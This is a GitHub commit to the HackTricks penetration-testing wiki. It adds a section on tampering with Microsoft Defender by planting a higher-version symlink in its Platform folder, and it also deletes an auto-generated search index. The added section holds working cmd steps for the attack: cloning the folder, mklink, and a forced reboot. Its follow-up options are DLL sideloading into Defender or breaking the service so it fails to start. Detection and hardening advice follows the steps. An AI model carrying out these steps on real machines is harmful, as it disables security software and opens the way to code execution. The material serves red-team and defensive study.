Skip to content

Commit d683f11

Browse files
author
HackTricks News Bot
committed
Add content from: Break The Protective Shell Of Windows Defender With The Fold...
- Remove searchindex.js (auto-generated file)
1 parent 74cc86a commit d683f11

2 files changed

Lines changed: 60 additions & 1 deletion

File tree

searchindex.js

Lines changed: 0 additions & 1 deletion
This file was deleted.

src/windows-hardening/av-bypass.md

Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -892,6 +892,64 @@ References for PPL and tooling
892892
- CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
893893
- Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
894894

895+
## Tampering Microsoft Defender via Platform Version Folder Symlink Hijack
896+
897+
Windows Defender chooses the platform it runs from by enumerating subfolders under:
898+
- `C:\ProgramData\Microsoft\Windows Defender\Platform\`
899+
900+
It selects the subfolder with the highest lexicographic version string (e.g., `4.18.25070.5-0`), then starts the Defender service processes from there (updating service/registry paths accordingly). This selection trusts directory entries including directory reparse points (symlinks). An administrator can leverage this to redirect Defender to an attacker-writable path and achieve DLL sideloading or service disruption.
901+
902+
Preconditions
903+
- Local Administrator (needed to create directories/symlinks under the Platform folder)
904+
- Ability to reboot or trigger Defender platform re-selection (service restart on boot)
905+
- Only built-in tools required (mklink)
906+
907+
Why it works
908+
- Defender blocks writes in its own folders, but its platform selection trusts directory entries and picks the lexicographically highest version without validating that the target resolves to a protected/trusted path.
909+
910+
Step-by-step (example)
911+
1) Prepare a writable clone of the current platform folder, e.g. `C:\TMP\AV`:
912+
```cmd
913+
set SRC="C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25070.5-0"
914+
set DST="C:\TMP\AV"
915+
robocopy %SRC% %DST% /MIR
916+
```
917+
2) Create a higher-version directory symlink inside Platform pointing to your folder:
918+
```cmd
919+
mklink /D "C:\ProgramData\Microsoft\Windows Defender\Platform\5.18.25070.5-0" "C:\TMP\AV"
920+
```
921+
3) Trigger selection (reboot recommended):
922+
```cmd
923+
shutdown /r /t 0
924+
```
925+
4) Verify MsMpEng.exe (WinDefend) runs from the redirected path:
926+
```powershell
927+
Get-Process MsMpEng | Select-Object Id,Path
928+
# or
929+
wmic process where name='MsMpEng.exe' get ProcessId,ExecutablePath
930+
```
931+
You should observe the new process path under `C:\TMP\AV\` and the service configuration/registry reflecting that location.
932+
933+
Post-exploitation options
934+
- DLL sideloading/code execution: Drop/replace DLLs that Defender loads from its application directory to execute code in Defender’s processes. See the section above: [DLL Sideloading & Proxying](#dll-sideloading--proxying).
935+
- Service kill/denial: Remove the version-symlink so on next start the configured path doesn’t resolve and Defender fails to start:
936+
```cmd
937+
rmdir "C:\ProgramData\Microsoft\Windows Defender\Platform\5.18.25070.5-0"
938+
```
939+
940+
Detection ideas
941+
- Alert on new directory reparse points under `C:\ProgramData\Microsoft\Windows Defender\Platform\`.
942+
- Watch for new version-looking folder names exceeding known Defender versions.
943+
- Detect Defender binaries executing from non-standard paths (e.g., `C:\TMP\`).
944+
- Sysmon telemetry: FileCreate (Event ID 11) with ReparsePoint/Symlink in that path; process starts for `MsMpEng.exe` with unexpected image path.
945+
946+
Hardening tips
947+
- Enforce allow-listed execution paths with WDAC/AppLocker; prohibit Defender from running outside trusted directories.
948+
- Continuously validate Defender’s configured platform path; remediate anomalies.
949+
- Keep Tamper Protection enabled; monitor for Defender platform location changes.
950+
951+
> Note: This technique does not provide privilege escalation by itself; it requires admin rights.
952+
895953
## References
896954

897955
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
@@ -905,5 +963,7 @@ References for PPL and tooling
905963
- [Sysinternals – Process Monitor](https://learn.microsoft.com/sysinternals/downloads/procmon)
906964
- [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
907965
- [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html)
966+
- [Zero Salarium – Break The Protective Shell Of Windows Defender With The Folder Redirect Technique](https://www.zerosalarium.com/2025/09/Break-Protective-Shell-Windows-Defender-Folder-Redirect-Technique-Symlink.html)
967+
- [Microsoft – mklink command reference](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink)
908968

909969
{{#include ../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)